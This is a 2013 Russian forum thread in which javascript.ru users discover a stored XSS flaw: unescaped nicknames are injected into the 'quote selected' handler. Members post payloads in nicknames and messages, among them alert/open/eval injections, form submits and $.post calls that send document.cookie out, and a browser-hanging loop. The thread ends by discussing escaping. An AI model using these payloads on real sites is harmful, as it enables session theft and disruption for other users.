Javascript-форум (https://javascript.ru/forum/)
-   Оффтопик (https://javascript.ru/forum/offtopic/)
-   -   Тест тест тест (https://javascript.ru/forum/offtopic/42352-test-test-test.html)

'+alert('ok')+' 23.10.2013 08:51

Тест тест тест
 
Выдели текст и нажми "цитата выделенного"

ruslan_mart 23.10.2013 10:21

Класс :)

animhotep 23.10.2013 11:24

xss, такой xss)
citeSelected(277714, ''+alert('ok')+'');return false

danik.js 23.10.2013 12:22

Это моя пакость ;)
Пытался процитировать товарища, у которого в никнейме апостров. Открыв консоль и увидев источник сыплющейся ошибки, решил удостовериться )

kobezzza 23.10.2013 12:58

Мде, вот что бывает, когда люди не используют шаблонизаторы.

Skipp 23.10.2013 13:07

Сейчас все побегут искать дырки.
Наверное уже побежали:D

'+open('http://ya.ru')+' 23.10.2013 15:08

ы :write:

NinjaStar 23.10.2013 15:40

да уж

Skipp 24.10.2013 09:25

Идея хорошая, но мне кажется цитирование не так часто происходит, лучше повесить событие на кнопку "отправить быстрый ответ":)

BETEPAH 24.10.2013 10:08

Коротковато поле ника... из этого
'+document.getElementById('vB_Editor_QR_textarea').value = document.cookie; document.getElementById('qrform').submit +'

хватает только на '+document.getElementById

Skipp 24.10.2013 10:17

25
Блин мало*(
Кто-нибудь Илью предупредил то?:D

danik.js 24.10.2013 13:45

Код можно засунуть в подпись или в пост и заэвалить. Для выборки можно использовать jquery :-)

Яростный Меч 24.10.2013 16:55

Цитата:

Сообщение от BETEPAH
document.cookie

а толку?
все "интересные" куки давно http-only..

Skipp 25.10.2013 09:21

Цитата:

Сообщение от danik.js
Код можно засунуть в подпись или в пост и заэвалить. Для выборки можно использовать jquery :-)

Я пробовал, не за что зацепиться, нужен элемент с id или класом не длиннее 2 символов, при этом, код запуститься только при клике на ник или цитировании. Так что, почти бесполезно, хотя если ещё подумать, то что-нибудь да придумается.

UPD Хотя идейка появилась:)

Всё равно как-то практически бесполезно, но если кто-то хорошенько подумает, что-нибудь да выйдет. Не хорошо это:)

alert("Fusce a metus eu diam varius congue nec nec sapien. Vestibulum orci tortor, sollicitudin ac euismod non, placerat ac augue. Nunc convallis accumsan justo. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec malesuada vehicula lectus, viverra sodales ipsum gravida nec. Integer gravida nisi ut magna mollis molestie. Nullam pharetra accumsan sagittis. Proin tristique rhoncus orci, eget vulputate nisi sollicitudin et. Quisque lacus augue, mollis non mollis et, ullamcorper in purus. Morbi et sem orci. Praesent accumsan odio in ante ullamcorper id pellentesque mauris rhoncus. Duis vitae neque dolor. Duis sed purus at eros bibendum cursus nec a nulla. Donec turpis quam, ultricies id pretium sit amet, gravida eget leo. Etiam aliquam sem ac velit feugiat elementum. Nunc eu elit velit, nec vestibulum nibh. Curabitur ultrices, diam non ullamcorper blandit, nunc lacus ornare nisi, egestas rutrum magna est id nunc. Pellentesque imperdiet malesuada quam, et rhoncus eros auctor eu. Nullam vehicula metus ac lacus rutrum nec fermentum urna congue. Vestibulum et risus at mi ultricies sagittis quis nec ligula. Suspendisse dignissim dignissim luctus. Duis ac dictum nibh. Etiam id massa magna. Morbi molestie posuere posuere. Maecenas eu placerat ante. Fusce ut neque justo, et aliquet enim. In hac habitasse platea dictumst. Nullam commodo neque erat, vitae facilisis erat. Cras at mauris ut tortor vestibulum fringilla vel sed metus. Donec interdum purus a justo feugiat rutrum. Sed ac neque ut neque dictum accumsan. Cras lacinia rutrum risus, id viverra metus dictum sit amet. Fusce venenatis, urna eget cursus placerat, dui nisl fringilla purus, nec tincidunt sapien justo ut nisl. Curabitur lobortis semper neque et varius. Etiam eget lectus risus, a varius orci. Nam placerat mauris at dolor imperdiet at aliquet lectus ultricies. Duis tincidunt mi at quam condimentum lobortis.");

'+eval($('i').text())+' 25.10.2013 09:28

Ну если только так, но это палево:D

Skipp 25.10.2013 09:39

Хотя можно использовать, не однакратно:)

alert('Something');

danik.js 25.10.2013 14:25

http://javascript.ru/forum/offtopic/...na-sajjte.html )

ruslan_mart 25.10.2013 14:35

:D

$.post('ololo.php', {test: document.cookie});

document.location = 'http://google.com';

while(true) $('body').append('ololo');

__Maxmaxmaximus__ 25.10.2013 15:00

Цитата:

Сообщение от undefined
и нажми "цитат

Цитата:

Сообщение от kobezzza
вот что бывает, когда люди не используют шаблонизаторы.

на клиенте

Deff 25.10.2013 16:11

Цитата:

Сообщение от __Maxmaxmaximus__
на клиенте

Достаточно запретить кавычки в Никах

kobezzza 25.10.2013 16:28

Цитата:

Сообщение от __Maxmaxmaximus__ (Сообщение 278085)
на клиенте

Не важно где. Любой нормальный веб-шаблонизатор по дефолту проводит экранирование.


Часовой пояс GMT +3, время: 08:47.